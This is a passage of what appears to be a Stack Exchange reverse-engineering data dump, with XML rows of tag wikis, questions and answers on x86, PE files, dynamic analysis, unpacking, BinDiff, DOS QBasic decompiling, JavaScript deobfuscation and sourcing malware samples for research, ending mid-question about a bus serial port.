  <row Id="1489" PostTypeId="5" CreationDate="2013-04-02T14:39:53.430" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-04-02T14:39:53.430" LastActivityDate="2013-04-02T14:39:53.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1490" PostTypeId="4" CreationDate="2013-04-02T14:39:53.430" Score="0" Body="Kernel-mode executables used to communicate between the OS and peripherals." OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-02T16:26:14.393" LastActivityDate="2013-04-02T16:26:14.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1491" PostTypeId="5" CreationDate="2013-04-02T14:43:03.430" Score="0" Body="&lt;p&gt;&lt;strong&gt;x86&lt;/strong&gt; is a family of instruction set architectures.  Usually, it refers to binary compatibility with the 32-bit instruction set of the 80386 processor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions on x86 should not just be about a version of an OS that happens to use x86.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/X86&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;x86&lt;/strong&gt; denotes a family of instruction set architectures based on the Intel 8086 CPU. The 8086 was introduced in 1978 as a fully 16-bit extension of Intel's 8-bit based 8080 microprocessor and also introduced memory segmentation to overcome the 16-bit addressing barrier of such designs. The term x86 derived from the fact that early successors to the 8086 also had names ending with &quot;86&quot;. Many additions and extensions have been added to the x86 instruction set over the years, almost consistently with full backward compatibility. The architecture has been implemented in processors from Intel, Cyrix, Advanced Micro Devices, VIA and many other companies.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Frequently Asked Questions&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/5/how-are-x86-cpu-instructions-encoded&quot;&gt;How are x86 CPU instructions encoded?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1503/reverse-engineer-an-old-dos-qbasic-executable&quot;&gt;Reverse engineer an old DOS QBasic executable&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="151" LastEditorUserId="3371" LastEditDate="2017-08-27T20:59:06.930" LastActivityDate="2017-08-27T20:59:06.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1492" PostTypeId="4" CreationDate="2013-04-02T14:43:03.430" Score="0" Body="A family of instruction set architectures originally based on the Intel 8086 CPU that functions with a very wide array of operating systems, including Windows, MacOS X, Linux, BSD, and Solaris." OwnerUserId="151" LastEditorUserId="53" LastEditDate="2013-12-17T13:23:42.600" LastActivityDate="2013-12-17T13:23:42.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1493" PostTypeId="5" CreationDate="2013-04-02T14:44:34.907" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-04-02T14:44:34.907" LastActivityDate="2013-04-02T14:44:34.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1494" PostTypeId="4" CreationDate="2013-04-02T14:44:34.907" Score="0" Body="Software that keeps a specific process execution under control, typically by reducing its rights on the system, and preventing malicious operations." OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-02T16:25:33.470" LastActivityDate="2013-04-02T16:25:33.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1495" PostTypeId="5" CreationDate="2013-04-02T14:46:05.243" Score="0" Body="&lt;p&gt;Dynamic analysis code means letting it run, unconstrained or stepping through it, on a real system or in a virtualized environment. This is in contrast to the related &lt;a href=&quot;/questions/tagged/static-analysis&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'static-analysis'&quot; rel=&quot;tag&quot;&gt;static-analysis&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tools commonly used in dynamic analysis include debuggers of all kinds. GDB or WinDbg would be pure debuggers allowing for this. IDA Pro is somewhat of a swiss army knife for the reverse code engineer when it comes to &lt;a href=&quot;/questions/tagged/dynamic-analysis&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'dynamic-analysis'&quot; rel=&quot;tag&quot;&gt;dynamic-analysis&lt;/a&gt; as it allows one to use various kinds of debugger back ends, but also Bochs to emulate through bits and pieces of code ad hoc (the virtualized environment mentioned above).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Debugging subject code using the VMware workstation plugin in Eclipse or Visual Studio would be another example of using &lt;a href=&quot;/questions/tagged/dynamic-analysis&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'dynamic-analysis'&quot; rel=&quot;tag&quot;&gt;dynamic-analysis&lt;/a&gt; inside a virtualized environment.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Advantages&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;allows to analyze malware in-vitro, such as when analyzing a malware involving kernel mode code with &lt;code&gt;livekd&lt;/code&gt; and WinDbg.&lt;/li&gt;&#xA;&lt;li&gt;allows runtime encryptors or packers to unpack and see the unpacked code.&lt;/li&gt;&#xA;&lt;li&gt;it allows to see actual values arriving at points of interest, something that cannot be achieved in &lt;a href=&quot;/questions/tagged/static-analysis&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'static-analysis'&quot; rel=&quot;tag&quot;&gt;static-analysis&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Disadvantages&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the subject code could escape, which is particularly bad when analyzing malware.&lt;/li&gt;&#xA;&lt;li&gt;anti-debugging tricks can make the code behave differently from how it would usually behave.&lt;/li&gt;&#xA;&lt;li&gt;the code may have certain requirements to run which cannot be fulfilled under a debugger, dooming this approach to failure from the very start.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2013-04-16T20:56:10.437" LastActivityDate="2013-04-16T20:56:10.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1496" PostTypeId="4" CreationDate="2013-04-02T14:46:05.243" Score="0" Body="Analysis of a piece of code by letting it run (fully or step-by-step) on a real system or in a virtualized environment, as opposed to static analysis." OwnerUserId="188" LastEditorUserId="13506" LastEditDate="2020-01-02T19:03:46.423" LastActivityDate="2020-01-02T19:03:46.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1497" PostTypeId="5" CreationDate="2013-04-02T14:48:54.397" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-04-02T14:48:54.397" LastActivityDate="2013-04-02T14:48:54.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1498" PostTypeId="4" CreationDate="2013-04-02T14:48:54.397" Score="0" Body="Reverting (statically or dynamically) the effect of a binary packer: recovering its original structure and code by removing compression, encryption, protections features.." OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-02T16:28:28.637" LastActivityDate="2013-04-02T16:28:28.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1499" PostTypeId="2" ParentId="206" CreationDate="2013-04-02T15:04:45.323" Score="11" Body="&lt;p&gt;There are a couple options when it comes to getting samples for analysis.&lt;/p&gt;&#xA;&lt;h2&gt;Scraping&lt;/h2&gt;&#xA;&lt;p&gt;This one is extremely common and is what is used by a lot of researches to build sample databases.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Recommendation:&lt;/em&gt;&lt;/strong&gt; You could build your own scraper of common sources or build upon ones like:&#xA;&lt;a href=&quot;https://github.com/technoskald/maltrieve&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/technoskald/maltrieve&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Malware Farms&lt;/h2&gt;&#xA;&lt;p&gt;Other researches will at times allow access to their collections. An example of this is malware.lu&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Recommendation:&lt;/em&gt;&lt;/strong&gt; Try requesting access to malware.lu and similiar repos. Check the list at the bottom for more. This is a great way to get access to a lot of samples fast.&lt;/p&gt;&#xA;&lt;h2&gt;Honeypots&lt;/h2&gt;&#xA;&lt;p&gt;Researchers can use server and client side honeypots to try and collect malware.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Recommendation:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Checkout &lt;a href=&quot;http://dionaea.carnivore.it/&quot; rel=&quot;noreferrer&quot;&gt;http://dionaea.carnivore.it/&lt;/a&gt; for a server side honeypot. These are great for collecting self propagating malware.&lt;/p&gt;&#xA;&lt;p&gt;Checkout &lt;a href=&quot;https://github.com/buffer/thug&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/buffer/thug&lt;/a&gt; for a client side honeypot.&lt;/p&gt;&#xA;&lt;h2&gt;Manually&lt;/h2&gt;&#xA;&lt;p&gt;You can browse the shady portions of the internet and look for samples yourself.&lt;/p&gt;&#xA;&lt;p&gt;This is pretty much the standard list of sample sources:&#xA;&lt;a href=&quot;http://www.kernelmode.info/forum/viewtopic.php?f=16&amp;amp;t=308&quot; rel=&quot;noreferrer&quot;&gt;http://www.kernelmode.info/forum/viewtopic.php?f=16&amp;amp;t=308&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Each one of the above samples has its own pros and cons. Recommend you play with each to find out which produces what you need.&lt;/p&gt;&#xA;" OwnerUserId="1404" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-04-02T15:04:45.323" CommentCount="0" CommunityOwnedDate="2015-07-16T07:01:20.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="1501" PostTypeId="2" ParentId="1478" CreationDate="2013-04-02T16:28:33.480" Score="3" Body="&lt;p&gt;In the last year or so, I think I have only encountered a single malware sample that was using a virtualized packer (VMProtect in that case).  Most of the samples I look at use stupid packers that allow easy dumping of the original PE from memory.  I don't spend all of my time looking at malware, but I typically look at a couple potentially malicious samples a week, just to give some perspective on the volume I'm talking about.  Also, I seem to remember that the SpyEye author used VMProtect to protect the malware builder, I'm not sure if other's who sell those kind of kits have used it as well.  I've heard the Citadel builder has some pretty gnarly protection, but I'm not certain of what it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the second part of your question, I am no expert, but a couple of sites came to mind to potentially check out if you are interested in trying to learn to unpack this stuff.  &lt;a href=&quot;http://www.softwaresprogramming.com/&quot; rel=&quot;nofollow&quot;&gt;This site&lt;/a&gt; has some posts about unpacking various things, including VMProtect and Themida.  I haven't gone through those posts in particular, just noticed that they are on there.  I think there are some tutorials dealing with some versions of these specific packers on &lt;a href=&quot;http://www.tuts4you.com&quot; rel=&quot;nofollow&quot;&gt;tuts4you.com&lt;/a&gt; as well if you are interested to check some of those out.&lt;/p&gt;&#xA;" OwnerUserId="1419" LastActivityDate="2013-04-02T16:28:33.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1502" PostTypeId="2" ParentId="1478" CreationDate="2013-04-02T16:47:03.563" Score="3" Body="&lt;p&gt;To the first part of your question: It really depends on the domain. Malware samples that leverage virtualization-based packers are generally easy to detect, which is a drawback from the malware author's perspective. If avoiding detection is crucial, which is especially the case in targeted attacks where your sample is probably custom anyway, virtualized packers are not a good idea. I assume that's why only very few samples make use of them. I have seen only one (themida protected) in the last year or so.&lt;/p&gt;&#xA;" OwnerUserId="1369" LastActivityDate="2013-04-02T16:47:03.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1503" PostTypeId="1" CreationDate="2013-04-02T16:48:42.167" Score="12" ViewCount="8737" Body="&lt;p&gt;I recently decided to try my hand at reverse engineer an old DOS text based game that was coded in QBasic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found some info online about old DOS games disassembly but mostly for Wacom compiled C/C++ binaries, but nothing on QBasic. I know that getting the original Basic code is probably impossible, but going disassembling the file with nasm I didn't get any useful info either...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers?&lt;/p&gt;&#xA;" OwnerUserId="1427" LastEditorUserId="188" LastEditDate="2013-04-02T21:15:20.633" LastActivityDate="2013-04-02T21:15:20.633" Title="Reverse engineer an old DOS QBasic executable" Tags="|disassembly|decompilation|x86|binary-analysis|dos-exe|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1504" PostTypeId="2" ParentId="1423" CreationDate="2013-04-02T16:49:51.960" Score="5" Body="&lt;p&gt;A nice combination of findcrypt2 by HexRays and the work done by Felix Gröbert is &lt;a href=&quot;https://bitbucket.org/daniel_plohmann/simplifire.idascope&quot;&gt;IDAScope&lt;/a&gt;. It's very useful for searching for and identifying encryption algorithms. For more information on IDAScope's Crypto Identification I'd recommend the following &lt;a href=&quot;http://pnx-tf.blogspot.com/2012/08/idascope-update-crypto-identification.html&quot;&gt;link&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2013-04-02T16:49:51.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1506" PostTypeId="2" ParentId="1503" CreationDate="2013-04-02T17:15:27.153" Score="9" Body="&lt;ul&gt;&#xA;&lt;li&gt;debug with &lt;a href=&quot;http://vogons.zetafleet.com/viewtopic.php?t=7323&quot;&gt;DOSBox debug-enabled builds&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;disassemble with IDA&#xA;&lt;ul&gt;&#xA;&lt;li&gt;try to compile your own empty qbasic EXE, and compare - this will help to telll the compiler code from the actual code of your game. You might do that automatically by creating a FLIRT-like signature of the empty EXE then import in your own EXE in IDA.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-04-02T17:15:27.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1507" PostTypeId="2" ParentId="1503" CreationDate="2013-04-02T17:51:03.787" Score="9" Body="&lt;p&gt;Apparently a decompiler for DOS Basic executables &lt;a href=&quot;http://02c1289.netsolhost.com/&quot;&gt;already exists&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going by &lt;a href=&quot;http://02c1289.netsolhost.com/index.htm#SAMPLES&quot;&gt;examples&lt;/a&gt; from that page, quite a lot of the code can be recovered. I guess it used some form of P-code, or there was some additional metadata.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Descriptions of the decompiler's &lt;a href=&quot;http://02c1289.netsolhost.com/newdeb.htm#ERRORS&quot;&gt;error messages&lt;/a&gt; can give some hints about various functions implemented by the Basic runtime.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-04-02T17:51:03.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1508" PostTypeId="2" ParentId="1503" CreationDate="2013-04-02T19:39:12.587" Score="5" Body="&lt;p&gt;I found the debug-enabled builds a bit unwieldy. But I found the combination of DOSBox and IDA quite nice using &lt;a href=&quot;https://github.com/wjp/idados&quot;&gt;idados&lt;/a&gt;. It's an IDA Pro plugin which allows you to control the debugger of a debug-enabled DOSBox build from within IDA similar to how you can control a debuggee running one of the other supported remote debuggers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the existing answer by Igor this is of course like using a kitchen knife instead of a scalpel, but I thought I should mention it, as it is a &lt;em&gt;more generic method&lt;/em&gt; for reversing DOS programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB:&lt;/strong&gt; There used to be an even older, but I think unrelated, plugin of the same name which hasn't been maintained by its original author. I still have a copy of it on my disk (at home), but the website seems to no longer exist.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-04-02T19:39:12.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1509" PostTypeId="2" ParentId="1436" CreationDate="2013-04-02T19:56:24.310" Score="7" Body="&lt;p&gt;You might be lucky trying either JSDetox, &lt;a href=&quot;http://www.relentless-coding.com/projects/jsdetox&quot;&gt;http://www.relentless-coding.com/projects/jsdetox&lt;/a&gt;, which is an automated javascript+html unpacker in Ruby, or my own library which is work-in-progress and only supports javascript (but does a bit more than JSDetox), &lt;a href=&quot;https://github.com/jbremer/jsunpck&quot;&gt;https://github.com/jbremer/jsunpck&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For JSDetox you can give the html as input through the webinterface, I think, and it will then spit out some tweaked code (i.e., deobfuscated.) My jsunpck, however, simply accepts a javascript file on the commandline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always, success with either of the tools is not guaranteed, but who knows. In the end, you might be more interested in a dynamic approach, such as patching &lt;em&gt;eval&lt;/em&gt; as described above.&lt;/p&gt;&#xA;" OwnerUserId="1312" LastActivityDate="2013-04-02T19:56:24.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1510" PostTypeId="2" ParentId="1436" CreationDate="2013-04-02T20:03:42.297" Score="5" Body="&lt;p&gt;You might try &lt;a href=&quot;http://jsunpack.jeek.org/&quot;&gt;http://jsunpack.jeek.org/&lt;/a&gt; which works for some stuff.  I personally just use Chrome's built-in JS console in a VM, replacing eval()s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsbeautifier.org/&quot;&gt;This&lt;/a&gt; might be helpful too, although it is more for improving readability.&lt;/p&gt;&#xA;" OwnerUserId="1419" LastActivityDate="2013-04-02T20:03:42.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1511" PostTypeId="2" ParentId="1475" CreationDate="2013-04-02T21:01:48.397" Score="15" Body="&lt;p&gt;In general, BinDiff in its current version as of this writing (4.x) works by matching attributes on the function level. &#xA;Basically, matching is divided into two phases: first initial matches are generated which are then refined in the drill down phase.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Initial Matches&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First of all BinDiff associates a signature based on the following attributes to each function:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the number of basic blocks&lt;/li&gt;&#xA;&lt;li&gt;the number of edges between those blocks&lt;/li&gt;&#xA;&lt;li&gt;the number of calls to subfunctions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This step gives us a set of signatures for each binary which in turn are used to generate the set of initial matches. Following a one-to-one relation, BinDiff selects these initial matches based on the above characteristics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step tries to find matchings on the call graph of each binary: for a verified match, the set of called functions from the matched function is examined in order to find event more matches. This process is repeated as long as new matches are found.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Drill Down&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In practice, not all functions will be matched by the one-to-one relation induced by the initial matching strategy, so after the initial matchings have been determined we still have a list of unmatched functions.&#xA;The idea of the drill down phase is to have multiple different function matchings strategies which are applied until a match is found. The order of applying these strategies is important: BinDiff tries those strategies for which it assumes the highest confidence, first. Only if no match could be found, it goes on with the next strategy. This is repeated until BinDiff runs out of strategies, or until all functions are matched. Examples include MD index, match based on function names (i.e. imports), callgraph edges MD index, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.sto.nato.int/publications/STO%20Meeting%20Proceedings/RTO-MP-IST-091/MP-IST-091-26.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;MD-Index paper&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://static.googleusercontent.com/external_content/untrusted_dlcp/www.zynamics.com/en//downloads/bindiffsstic05-1.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Graph-based Comparison of Executable Objects&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://static.googleusercontent.com/external_content/untrusted_dlcp/www.zynamics.com/en//downloads/dimva_paper2.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Structural Comparison of Executable Objects&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Disclaimer: working @ team zynamics / google, hopefully I didn't mess up anything, otherwise soeren is going to grill me ;-))&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="2147" LastEditDate="2017-03-14T23:53:19.713" LastActivityDate="2017-03-14T23:53:19.713" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1512" PostTypeId="2" ParentId="1358" CreationDate="2013-04-02T21:18:20.647" Score="1" Body="&lt;p&gt;REIL is implemented with ANTLR (to my knowledge). However I never saw the OpenSource release of the Lexer/Parser.&lt;/p&gt;&#xA;" OwnerUserId="1335" LastActivityDate="2013-04-02T21:18:20.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1513" PostTypeId="5" CreationDate="2013-04-02T21:21:04.863" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-04-02T21:21:04.863" LastActivityDate="2013-04-02T21:21:04.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1514" PostTypeId="4" CreationDate="2013-04-02T21:21:04.863" Score="0" Body="16 bits DOS MZ executable file format" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-03T00:21:27.670" LastActivityDate="2013-04-03T00:21:27.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1515" PostTypeId="5" CreationDate="2013-04-02T21:26:23.957" Score="0" Body="&lt;p&gt;The &lt;strong&gt;Portable Executable&lt;/strong&gt; file format is used in Windows to represent executables and other code objects.  Microsoft first migrated to it with the Windows NT 3.1 OS.  Each PE file is essentially a data structure that encapsulates the information necessary for the Windows OS loader to manage the wrapped executable code.  It has been wrapped by the .NET framework to support &lt;a href=&quot;http://en.wikipedia.org/wiki/Common_Language_Runtime&quot; rel=&quot;nofollow&quot;&gt;CLR&lt;/a&gt; features, like assembly metadata and Intermediate Language code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PE format is used for the (32 bits) x86, x64, ARM, Alpha, Mips, and PowerPC versions of Windows, as well as (under the wrapped .NET format) containing code satisfying the .NET Common Intermediate Language requirement.  Related structures include EntryPoint, sections, Imports, Exports, Thread Local Storage, and Bound/Delay imports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Official Specification&lt;/strong&gt;: &lt;a href=&quot;http://msdn.microsoft.com/en-us/windows/hardware/gg463119.aspx&quot; rel=&quot;nofollow&quot;&gt;Microsoft PE and COFF specification&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Portable_Executable&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;strong&gt;Portable Executable&lt;/strong&gt; (PE) format is a file format for executables, object code, DLLs, FON Font files, and others used in 32-bit and 64-bit versions of Windows operating systems. The term &quot;portable&quot; refers to the format's versatility in numerous environments of operating system software architecture. The PE format is a data structure that encapsulates the information necessary for the Windows OS loader to manage the wrapped executable code. This includes dynamic library references for linking, API export and import tables, resource management data and thread-local storage (TLS) data. On NT operating systems, the PE format is used for EXE, DLL, SYS (device driver), and other file types. The Extensible Firmware Interface (EFI) specification states that PE is the standard executable format in EFI environments.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h1&gt;Papers&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Matt Pietrek &#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms809762.aspx&quot; rel=&quot;nofollow&quot;&gt;Peering Inside the PE: A Tour of the Win32 Portable Executable File Format&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/magazine/cc301805.aspx&quot; rel=&quot;nofollow&quot;&gt;An In-Depth Look into the Win32 Portable Executable File Format&lt;/a&gt; (&lt;a href=&quot;http://msdn.microsoft.com/en-us/magazine/cc301808.aspx&quot; rel=&quot;nofollow&quot;&gt;Part 2&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Daniel Pistelli's &lt;a href=&quot;http://ntcore.com/files/richsign.htm&quot; rel=&quot;nofollow&quot;&gt;Microsoft's Rich signature&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Ange Albertini: &lt;a href=&quot;http://pe.corkami.com/&quot; rel=&quot;nofollow&quot;&gt;PE format&lt;/a&gt; and &lt;a href=&quot;http://pe101.corkami.com/&quot; rel=&quot;nofollow&quot;&gt;PE 101&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Libraries&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ero Carrera's &lt;a href=&quot;http://code.google.com/p/pefile/&quot; rel=&quot;nofollow&quot;&gt;pefile&lt;/a&gt; Python module&lt;/li&gt;&#xA;&lt;li&gt;Sebastian Porst &lt;a href=&quot;http://www.pelib.com/&quot; rel=&quot;nofollow&quot;&gt;PeLib&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;frank2's &lt;a href=&quot;http://always-debugged.never-unpacked.net/peel/&quot; rel=&quot;nofollow&quot;&gt;PEEL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="245" LastEditDate="2013-04-19T14:43:27.360" LastActivityDate="2013-04-19T14:43:27.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1516" PostTypeId="4" CreationDate="2013-04-02T21:26:23.957" Score="0" Body="a file format for Windows executables, object code, DLLs, and more.  Commonly found extensions of PE files include .exe, .dll, .ocx, .sys, and .scr." OwnerUserId="188" LastEditorUserId="151" LastEditDate="2013-04-03T16:46:37.710" LastActivityDate="2013-04-03T16:46:37.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1517" PostTypeId="5" CreationDate="2013-04-02T21:31:43.893" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.zynamics.com/downloads/csw09.pdf&quot; rel=&quot;nofollow&quot;&gt;REIL: A platform-independent intermediate representation&#xA;of disassembled code for static code analysis&lt;/a&gt;, CanSecWest 2009&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-03T00:21:19.137" LastActivityDate="2013-04-03T00:21:19.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1518" PostTypeId="4" CreationDate="2013-04-02T21:31:43.893" Score="0" Body="BinDiff/BinNavi's intermediate language, used to diff binary code between different architectures" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-03T00:22:56.330" LastActivityDate="2013-04-03T00:22:56.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1519" PostTypeId="5" CreationDate="2013-04-02T21:35:37.577" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-04-02T21:35:37.577" LastActivityDate="2013-04-02T21:35:37.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1520" PostTypeId="4" CreationDate="2013-04-02T21:35:37.577" Score="0" Body="files (icons, dialogs, translation strings, version information, manifest) embedded in a Portable Executable binary.&#xD;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-03T00:21:34.403" LastActivityDate="2013-04-03T00:21:34.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1521" PostTypeId="5" CreationDate="2013-04-02T21:38:49.193" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-04-02T21:38:49.193" LastActivityDate="2013-04-02T21:38:49.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1522" PostTypeId="4" CreationDate="2013-04-02T21:38:49.193" Score="0" Body="Apple's web browser for macOS, iOS and Windows" OwnerUserId="188" LastEditorUserId="13506" LastEditDate="2018-12-23T15:28:50.140" LastActivityDate="2018-12-23T15:28:50.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1523" PostTypeId="1" CreationDate="2013-04-02T23:15:04.523" Score="20" ViewCount="4709" Body="&lt;p&gt;I'm working with a small public transit agency on a neat open-source project that will help us to offer realtime data to local developers. A key piece of data we need is the current bus route a given vehicle is on. Currently, there is only a single electronic system that knows this information: the vehicle logic unit (VLU) that each vehicle is equipped with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a bus driver begins a route, they type its ID number into the keypad on the operator control unit (OCU). This ID number is sent to the VLU, which then displays the appropriate text on the LED signs on the bus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the OCU, there are two DB9F ports. In the manual, they are described as &quot;J1708 PORTS&quot;. One of them is connected to the VLU, but the other one is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I unplug the VLU, connect to one of the DB9F ports on the OCU with my computer's serial port, and turn on the OCU, the following five bytes (represented in hex) come through almost 